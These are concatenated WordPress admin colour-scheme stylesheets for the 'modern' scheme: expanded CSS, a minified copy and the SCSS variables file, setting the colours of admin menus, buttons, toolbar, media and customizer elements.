  color: #bcbcbc;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #3858e9;
  border-color: #2145e6;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #3858e9;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #3858e9;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #3858e9;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #3858e9;
}

.attachment.details .check {
  background-color: #3858e9;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #3858e9;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #3858e9;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #3858e9;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #3858e9;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #1e1e1e;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #1e1e1e;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #3858e9;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #3858e9;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #667fee, 0 0 2px 1px #3858e9;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: hsl(0, 7%, 95%);
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #3858e9;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #0c0c0c;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: hsl(0, 7%, 95%);
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #3858e9;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #3858e9;
  border-left-color: #3858e9;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #3858e9;
  border-top-color: #3858e9;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #3858e9;
  border-left-color: #3858e9;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #3858e9;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #667fee, 0 0 2px 1px #3858e9;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #3858e9;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-left-color: #3858e9;
  color: #3858e9;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #3858e9;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #3858e9;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #3858e9;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #3858e9;
  border-style: solid;
  box-shadow: 0 0 0 1px #3858e9;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #3858e9;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #3858e9;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #3858e9;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #667fee, 0 0 2px 1px #3858e9;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #3858e9;
  color: #3858e9;
}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#3858e9}a:active,a:focus,a:hover{color:#183ad6}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#3858e9}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#183ad6}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#7e8993}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#183ad6}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#3858e9;box-shadow:0 0 0 1px #3858e9}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#3858e9;color:#262a2e;box-shadow:inset 0 2px 5px -3px #3858e9}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#3858e9;border-color:#3858e9}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#183ad6;color:#183ad6}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#667fee;color:#132ea8;box-shadow:0 0 0 1px #667fee}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#3858e9;border-color:#3858e9;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#4664eb;border-color:#2a4ce7;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #3858e9}.wp-core-ui .button-primary:active{background:#2145e6;border-color:#2145e6;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#3858e9;color:#fff;border-color:#1534bf;box-shadow:inset 0 2px 5px -3px #03081f}.wp-core-ui .button-group>.button.active{border-color:#3858e9}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#1e1e1e}.wp-core-ui .wp-ui-text-primary{color:#1e1e1e}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#3858e9}.wp-core-ui .wp-ui-text-highlight{color:#3858e9}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#3858e9}.wp-core-ui .wp-ui-text-notification{color:#3858e9}.wp-core-ui .wp-ui-text-icon{color:#f3f1f1}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #3858e9;color:#3858e9}.wrap .page-title-action:hover{color:#183ad6;border-color:#183ad6}.wrap .page-title-action:focus{border-color:#667fee;color:#132ea8;box-shadow:0 0 0 1px #667fee}.view-switch a.current:before{color:#1e1e1e}.view-switch a:hover:before{color:#3858e9}#adminmenu,#adminmenuback,#adminmenuwrap{background:#1e1e1e}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f3f1f1}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#3858e9}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#0c0c0c}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#0c0c0c}#adminmenu .wp-submenu .wp-submenu-head{color:#bcbcbc}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#bcbcbc}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#33f078}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#33f078}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#3858e9}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#3858e9}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#0c0c0c}#collapse-button{color:#f3f1f1}#collapse-button:focus,#collapse-button:hover{color:#33f078}#wpadminbar{color:#fff;background:#1e1e1e}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f3f1f1}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#33f078;background:#0c0c0c}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#33f078}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#33f078}#wpadminbar .menupop .ab-sub-wrapper{background:#0c0c0c}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#303030}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#bcbcbc}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f3f1f1}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#33f078}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#33f078}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#f3f1f1}#wpadminbar #adminbarsearch:before{color:#f3f1f1}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#303030}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#3858e9}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#324fd2}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#303030;background-color:#303030}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#33f078}#wpadminbar #wp-admin-bar-user-info .username{color:#bcbcbc}.wp-pointer .wp-pointer-content h3{background-color:#3858e9;border-color:#2145e6}.wp-pointer .wp-pointer-content h3:before{color:#3858e9}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#3858e9}.media-item .bar,.media-progress-bar div{background-color:#3858e9}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #3858e9}.attachment.details .check{background-color:#3858e9;box-shadow:0 0 0 1px #fff,0 0 0 2px #3858e9}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #3858e9}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#3858e9}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#3858e9}.theme-filter.current,.theme-section.current{border-bottom-color:#1e1e1e}body.more-filters-opened .more-filters{color:#fff;background-color:#1e1e1e}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#3858e9;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#3858e9;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #667fee,0 0 2px 1px #3858e9}div#wp-responsive-toggle a:before{color:#f3f1f1}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#3858e9}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#0c0c0c}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f3f1f1}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#3858e9}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#3858e9;border-left-color:#3858e9}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#3858e9;border-top-color:#3858e9}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#3858e9;border-left-color:#3858e9}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#3858e9}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #667fee,0 0 2px 1px #3858e9}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#3858e9}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#3858e9;color:#3858e9}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#3858e9}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#3858e9}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#3858e9}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#3858e9;border-style:solid;box-shadow:0 0 0 1px #3858e9;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#3858e9}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#3858e9}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#3858e9}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #667fee,0 0 2px 1px #3858e9}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#3858e9;color:#3858e9}$scheme-name: "modern";
$base-color: #1e1e1e;
$highlight-color: #3858e9;
$menu-submenu-focus-text: #33f078;
$notification-color: $highlight-color;

$link: $highlight-color;
$link-focus: darken($highlight-color, 10%);

$custom-welcome-panel: "false";

@import "../_admin.scss";
/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #3858e9;
}
a:hover, a:active, a:focus {
  color: #183ad6;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #3858e9;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #183ad6;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #7e8993;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #183ad6;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #3858e9;
  box-shadow: 0 0 0 1px #3858e9;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #3858e9;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #3858e9;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #3858e9;
  border-color: #3858e9;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #183ad6;
  color: #183ad6;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #667fee;
  color: #132ea8;
  box-shadow: 0 0 0 1px #667fee;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #3858e9;
  border-color: #3858e9;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #4664eb;
  border-color: #2a4ce7;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #3858e9;
}
.wp-core-ui .button-primary:active {
  background: #2145e6;
  border-color: #2145e6;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #3858e9;
  color: #fff;
  border-color: #1534bf;
  box-shadow: inset 0 2px 5px -3px #03081f;
}
.wp-core-ui .button-group > .button.active {
  border-color: #3858e9;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #1e1e1e;
}
